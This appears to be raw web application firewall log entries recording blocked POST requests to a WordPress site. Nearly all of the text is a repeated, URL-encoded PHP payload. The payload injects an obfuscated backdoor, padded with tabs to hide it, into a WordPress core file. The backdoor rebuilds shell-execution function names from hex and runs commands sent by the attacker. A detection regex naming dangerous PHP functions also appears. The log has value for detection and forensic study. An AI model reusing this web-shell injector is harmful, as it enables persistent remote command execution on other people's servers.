2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:9162\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\n\nYe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:48:22","217.217.254.45","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:9162\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\n\nCl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%